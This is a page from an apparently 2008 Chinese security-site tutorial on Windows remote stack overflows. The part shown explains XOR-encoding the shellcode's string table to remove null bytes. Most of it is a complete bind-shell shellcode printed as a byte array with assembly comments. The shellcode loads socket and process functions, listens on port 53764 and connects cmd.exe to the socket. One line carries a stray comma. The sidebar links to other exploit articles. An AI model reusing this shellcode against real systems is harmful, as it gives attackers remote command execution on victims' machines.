通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 技术文章 >> 网络知识 >> 文章正文
Windows系统下的远程堆栈溢出 原理篇
责任编辑:酷酷の鱼   更新日期:2008-1-11
 

 

3)shellcode里面使用的字符串问题
刚刚解决了第二个问题,就引出了第三个问题。前面提到过使用函数名表以用来动态获得
函数地址。但是这些函数名字都要以\0x0结尾的!我们的shellcode最基本的一条,
就是里面绝对不能含有\0x0,也不可以有回车换行\n.
解决的办法,就是先对字符串表进行编码(好吓人)处理,处理掉所有的非法字符,
shellcode在使用前,由一个子程序来进行解码。
我使用的方法就是对字符串进行 xor 0x99处理。这样编解码就是一个程序了。
下面是编解码程序:
0xb1, 0xc6,             /* mov cl, C6               */
0x8b, 0xc7,             /* mov eax, edi             */
/*Xorshellcode */         /*                       */
0x48,                 /* dec eax                 */
0x80, 0x30, 0x99,         /* xor byte ptr [eax], 99       */
0xe2, 0xfa,             /* loop Xorshellcode           */
呵呵,一点都不吓人,很简单,是不是?
我们将使用的资源列表就是前面使用的所有函数,加上"cmd.exe"。具体为:
/****************************************************************************/
  db "KERNEL32" ,0;string to push for LoadLibrary.
  db "CreatePipe",0
  db "GetStartupInfoA",0 
  db "CreateProcessA",0
  db "PeekNamedPipe",0
  db "GlobalAlloc",0
  db "WriteFile",0
  db "ReadFile",0
  db "Sleep",0 
  db "ExitProcess",0
  db "WSOCK32",0
  db "socket",0   
  db "bind",0     
  db "listen",0   
  db "accept",0   
  db "send",0     
  db "recv",0     
              
sockstruc STRUCT     
  sin_family dw     0002h
  sin_port   dw     ?
  sin_addr   dd     ?
  sin_zero   db     8 dup (0)
sockstruc ENDS     
              
  db "cmd.exe",0
  dd 0ffffffffh   
  db 00dh, 00ah
    
/****************************************************************************/
4)shellcode的编写
将前面的C程序编译出来,提取出shellcode,然后加上前面的编解码和函数加载模块就可以了。

应用前面的设计思想,我们可以写出来shellcode如下:
unsigned char sploit[580] = {
0x90, 0x8b, 0xfc,       /* mov edi,esp     */           
0x33, 0xc0,       /* xor eax, eax             */
0x50,                 /* push eax                 */
0xf7, 0xd0,             /* not eax                 */
0x50,                 /* push eax                 */
0x59,                 /* pop ecx                 */
0xf2,                 /* repnz                   */
0xaf,                 /* scasd                   */
0x59,                 /* pop ecx                 */
0xb1, 0xc6,             /* mov cl, C6               */
0x8b, 0xc7,             /* mov eax, edi             */
/*Xorshellcode */         /*                       */
0x48,                 /* dec eax                 */
0x80, 0x30, 0x99,         /* xor byte ptr [eax], 99       */
0xe2, 0xfa,             /* loop Xorshellcode           */
0x33, 0xf6,       /* xor esi, esi             */
0x96,                 /* xchg eax,esi             */
0xbb,0x99, 0xe8, 0x61, 0x42,   /* mov ebx, &LoadLibrary       */
0xc1, 0xeb, 0x08,         /* shr ebx, 08               */
0x56,                 /* push esi                 */
0xff, 0x13,             /* call dword ptr [ebx]         */
0x8b, 0xd0,     /* mov edx, eax             */
0xfc,                 /* cld                   */
0x33, 0xc9,             /* xor ecx, ecx             */
0xb1, 0x0b,             /* mov cl, 0B               */
0x49,                 /* dec ecx                 */
/* loadKernelProcess */     /*                       */
0x32, 0xc0,             /* xor al, al               */
0xac,                 /* lodsb                   */
0x84, 0xc0,             /* test al, al               */
0x75, 0xf9,             /* jne loadKernelProcess       */
0x52,         /* push edx                 */
0x51,                 /* push ecx                 */
0x56,                 /* push esi                 */
0x52,                 /* push edx                 */
0xb3, 0xe4,             /* mov bl, e4   &GetProcAddr     */
0xff, 0x13,             /* call dword ptr [ebx]         */
0xab,                 /* stosd                   */
0x59,                 /* pop ecx                 */
0x5a,                 /* pop edx                 */
0xe2, 0xec,             /* loop loadKernelProcess       */
                      /*                       */
0x32, 0xc0,             /* xor al, al               */
0xac,                 /* lodsb                   */
0x84, 0xc0,             /* test al, al               */
0x75, 0xf9,             /* jne 00000176             */
0xb3, 0xe8,             /* mov bl, e8               */
0x56,                 /* push esi                 */
0xff, 0x13,             /* call dword ptr [ebx]         */
0x8b, 0xd0,             /* mov edx, eax             */
0xfc,                 /* cld                   */
0x33, 0xc9,             /* xor ecx, ecx             */
0xb1, 0x06,             /* mov cl, 06               */
/* loadSocketProcess */                               
0x32, 0xc0,             /* xor al, al               */
0xac,                 /* lodsb                   */
0x84, 0xc0,             /* test al, al               */
0x75, 0xf9,             /* jne loadSocketProcess       */ 
0x52,                 /* push edx                 */
0x51,                 /* push ecx                 */
0x56,                 /* push esi                 */
0x52,                 /* push edx                 */
0xb3, 0xe4,             /* mov bl, e4               */
0xff, 0x13,             /* call dword ptr [ebx]         */
0xab,                 /* stosd                   */
0x59,                 /* pop ecx                 */
0x5a,                 /* pop edx                 */
0xe2, 0xec,             /* loop loadSocketProcess       */ 
/*
  这一段代码就是前期的准备工作,它负责获得所有的函数的入口地址,这些函数是:
  "KERNEL32.dll"
        "CreatePipe"
        "GetStartupInfoA"
        "CreateProcessA"
        "PeekNamedPipe"
        "GlobalAlloc"
        "WriteFile"
        "ReadFile"
        "Sleep"
        "ExitProcess"
        
  "WSOCK32.dll"
        "socket"   
        "bind"   
        "listen"   
        "accept"   
        "send"     
        "recv"     
*/
0x83, 0xc6, 0x05,         /* add esi, 00000005 */
0x33, 0xc0,             /* xor eax, eax     */
0x50,                 /* push eax         */
0x40,                 /* inc eax         */
0x50,                 /* push eax         */
0x40,                 /* inc eax         */
0x50,                 /* push eax         */
0xff, 0x57, 0xe8,         /* call [edi-18]     */
0x93,                 /* xchg eax,ebx     */
0x6a, 0x10,             /* push 00000010     */   
0x56,                 /* push esi         */     
0x53,                 /* push ebx         */     
0xff, 0x57, 0xec,         /* call [edi-14]     */   
0x6a, 0x02,             /* push 00000002   */
0x53,                 /* push ebx         */
0xff, 0x57, 0xf0,         /* call [edi-10]     */
0x33, 0xc0,             /* xor eax, eax     */
0x57,                 /* push edi         */
0x50,                 /* push eax         */
0xb0, 0x0c,             /* mov al, 0C       */
0xab,                 /* stosd           */
0x58,                 /* pop eax         */
0xab,                 /* stosd           */
0x40,                 /* inc eax         */
0xab,                 /* stosd         */
0x5f,                 /* pop edi         */
0x48,                 /* dec eax         */
0x50,                 /* push eax       */ 
0x57,                 /* push edi         */ 
0x56,                 /* push esi         */
0xad,                 /* lodsd           */ 
0x56,                 /* push esi         */ 
0xff, 0x57, 0xc0,         /* call [edi-40]     */ 
0x48,                 /* dec eax         */
0x50,                 /* push eax         */
0x57,                 /* push edi         */
0xad,                 /* lodsd           */
0x56,                 /* push esi         */
0xad,                 /* lodsd           */
0x56,                 /* push esi         */
0xff, 0x57, 0xc0,         /* call [edi-40]   */
0x48,                 /* dec eax               */
0xb0, 0x44,             /* mov al, 44             */
0x89, 0x07,             /* mov dword ptr [edi], eax   */
0x57,                 /* push edi             */
0xff, 0x57, 0xc4,         /* call [edi-3C]     */
0x33, 0xc0,             /* xor eax, eax           */
0x8b, 0x46, 0xf4,         /* mov eax, dword ptr [esi-0C] */
0x89, 0x47, 0x3c,         /* mov dword ptr [edi+3C], eax */
0x89, 0x47, 0x40,         /* mov dword ptr [edi+40], eax */
0x8b, 0x06,             /* mov eax, dword ptr [esi]   */
0x89, 0x47, 0x38,         /* mov dword ptr [edi+38], eax */
0x33, 0xc0,             /* xor eax, eax           */
0x66, 0xb8, 0x01, 0x01,     /* mov ax, 0101           */
0x89, 0x47, 0x2c,         /* mov dword ptr [edi+2C], eax */
0x57,                 /* push edi             */
0x57,                 /* push edi             */
0x33, 0xc0,             /* xor eax, eax           */
0x50,                 /* push eax             */
0x50,                 /* push eax             */
0x50,                 /* push eax             */
0x40,                 /* inc eax               */
0x50,                 /* push eax             */
0x48,                 /* dec eax               */
0x50,                 /* push eax             */
0x50,                 /* push eax             */
0xad,                 /* lodsd               */
0x56,                 /* push esi             */
0x33, 0xc0,             /* xor eax, eax           */
0x50,                 /* push eax             */
0xff, 0x57, 0xc8,         /* call [edi-38]           */ 
0xff, 0x76, 0xf0,         /* push [esi-10]           */
0xff, 0x57, 0xcc,         /* call [edi-34]           */
0xff, 0x76, 0xfc,         /* push [esi-04]           */
0xff, 0x57, 0xcc,         /* call [edi-34]   */
0x48,                 /* dec eax       */
0x50,                 /* push eax             */
0x50,                 /* push eax             */
0x53,                 /* push ebx             */
0xff, 0x57, 0xf4,         /* call [edi-0C]           */
0x8b, 0xd8,             /* mov ebx, eax           */
0x33, 0xc0,             /* xor eax, eax           */
0xb4, 0x04,             /* mov ah, 04             */
0x50,                 /* push eax             */
0xc1, 0xe8, 0x04,         /* shr eax, 04           */
0x50,                 /* push eax             */
0xff, 0x57, 0xd4,         /* call [edi-2C]           */
0x8b, 0xf0,             /* mov esi, eax           */
/* PeekPipe: */                                 
0x33, 0xc0,             /* xor eax, eax           */
0x8b, 0xc8,             /* mov ecx, eax           */
0xb5, 0x04,             /* mov ch, 04             */
0x50,                 /* push eax             */
0x50,                 /* push eax             */
0x57,                 /* push edi             */
0x51,                 /* push ecx             */
0x56,                 /* push esi         */
0xff, 0x77, 0xa8,         /* push [edi-58]           */
0xff, 0x57, 0xd0,         /* call [edi-30]           */
0x83, 0x3f, 0x01,         /* cmp dword ptr [edi], 0000000*/
0x7c, 0x22,             /* jl GetUserInput         */
0x33, 0xc0,             /* xor eax, eax           */
0x50,                 /* push eax             */
0x57,                 /* push edi             */
0xff, 0x37,             /* push dword ptr [edi]     */
0x56,                 /* push esi             */
0xff, 0x77, 0xa8,         /* push [edi-58]           */
0xff, 0x57, 0xdc,         /* call [edi-24]           */
0x0b, 0xc0,             /* or eax, eax           */
0x74, 0x2f,             /* je GameOver           */
0x33, 0xc0,             /* xor eax, eax           */
0x50,                 /* push eax             */
0xff, 0x37,             /* push dword ptr [edi]     */
0x56,  ,                /* push esi             */
0x53,                 /* push ebx             */
0xff, 0x57, 0xf8,         /* call [edi-08]           */
0x6a, 0x50,             /* push 00000050           */
0xff, 0x57, 0xe0,         /* call [edi-20]           */
0xeb, 0xc8,             /* jmp PeekPipe           */
/* GetUserInput: */                               
0x33, 0xc0,             /* xor eax, eax           */
0x50,                 /* push eax             */
0xb4, 0x04,             /* mov ah, 04             */
0x56,                 /* push esi             */
0x53,                 /* push ebx             */
0xff, 0x57, 0xfc,         /* call [edi-04]           */
0x57,                 /* push edi             */
0x33, 0xc9,             /* xor ecx, ecx           */
0x51,                 /* push ecx             */
0x50,                 /* push eax             */
0x56,                 /* push esi             */
0xff, 0x77, 0xac,         /* push [edi-54]           */
0xff, 0x57, 0xd8,         /* call [edi-28]           */
0x6a, 0x50,             /* push 00000050           */
0xff, 0x57, 0xe0,         /* call [edi-20]           */
/* GameOver:   */                               
0xeb, 0xaa,             /* jmp PeekPipe           */
0x50,                 /* push eax             */
0xff, 0x57, 0xe4,         /* call [edi-1C]           */
0x90,                 /* nop                 */
/*
  这里的长长代码就是那段C语言的算法,我的注释很详细,就不多说了
*/
0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
0xda, 0xd2, 0xaa, 0xab, 0x99, 0xae, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99, 
0x4b, 0x9d, // word value for bind port, 4b9d xor 9999h=53764
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 
0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff, 
0x0d, 0x0a};
/*
  这些就是那个字符串表,已经经过了编码。
*/

上一页  [1] [2] 

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章提醒:“求职信”病毒1月6日发作
    普通文章两条“蠕虫”蠢蠢欲动
    普通文章5“网银大盗”狂盗储户14万 武汉男子被判10年
    普通文章“木马事件”终告结束 英语学习网重获新生
    普通文章搜索引擎不再喜欢新米,并非只是CN米
    普通文章蠕虫"威金"新变种 "小熊猫"屠宰多个计算机系统
    普通文章元旦上网谨防“Real蛀虫” 通过视频文件传播
    普通文章入侵工具Knark的分析及防范
    普通文章认清本质 计算机病毒防治常遇问题
    普通文章饶过现代Anti-Rookit工具的内核模块扫描(ZT)
    精彩专题